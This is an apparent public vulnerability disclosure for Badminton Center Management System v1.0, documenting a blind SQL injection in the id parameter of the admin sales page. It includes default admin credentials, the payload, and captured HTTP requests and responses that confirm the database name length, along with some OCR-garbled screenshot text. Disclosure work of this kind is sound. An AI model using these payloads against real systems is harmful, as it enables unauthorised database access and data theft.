

main

...

bug_report / vendors / oretnom23 / badminton-center-management-system / SQLi-10.md



debug601 Create SQLi-10.md

History

1 contributor

36 lines (24 sloc) | 1.5 KB

...

Badminton Center Management System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15318/badminton-center-management-system-phpoop-free-source-code.html>

Current database name: bcms_db,length is 7

Vulnerability File: /bcms/admin/?page=sales/manage_sale&id=

Vulnerability location: /bcms/admin/?page=sales/manage_sale&id=, id

[+] Payload: /bcms/admin/?

page=sales/manage_sale&id=6%27%20and%20length(database())%20=7--+ // Leak place
---> id

```
GET /bcms/admin/?page=sales/manage_sale&id=6%27%20and%20length(database())%20=7--+ H
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close

When length (database ()) = 6, Content-Length: 33357

```
GET /bcms/admin/?page=sales/manage_sale&id=6%27%20and%20length(database
e())%20=6--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
HTTP/1.1 200 OK
Date: Fri, 27 May 2022 02:38:05 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 33357

<!DOCTYPE html>
<html lang="en" class="" style="height: auto;">
```

Load URL http://192.168.1.19/bcms/admin/?page=sales/manage_sale&id=6' and length(database())=6--+

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace All

BCMS - PHP

Badminton Court Management System - Admin

Dashboard

Main

- Court Rentals
- Sales
- Service Transactions

Reports

- ☐ Daily Court Rentals Report
- ☐ Daily Sales Report
- ☐ Daily Services Report

Master List

- Court List
- List of Product

Create New Sales

Client Name

Contact

Products

Choose Product

Please Select Product Here

+ Add

QTY	Name	Price	Total
Total			

When length (database ()) = 7, Content-Length: 35013

```
GET /bcms/admin/?page=sales/manage_sale&id=6%27%20and%20length(database
e())%20=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
HTTP/1.1 200 OK
Date: Fri, 27 May 2022 02:36:33 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35013

<!DOCTYPE html>
<html lang="en" class="" style="height: auto;">
<head>
```

Load URL

Split URL

Execute

http://192.168.1.19/bcms/admin/?page=sales/manage_sale&id=6' and length(database()) =7--+

☐ Post data

☐ Referrer

☐ 0xHEX

☐ %URL

☐ BASE64

☒ Rep

BCMS - PHP

Badminton Court Management System - Admin

Dashboard

ain

Court Rentals

Sales

Service Transactions

ports

Daily Court Rentals Report

Daily Sales Report

Daily Services Report

aster List

Update Sales Details

Client Name

Samantha Jane

Contact

09789456123

Products

Choose Product

Please Select Product Here

+ Add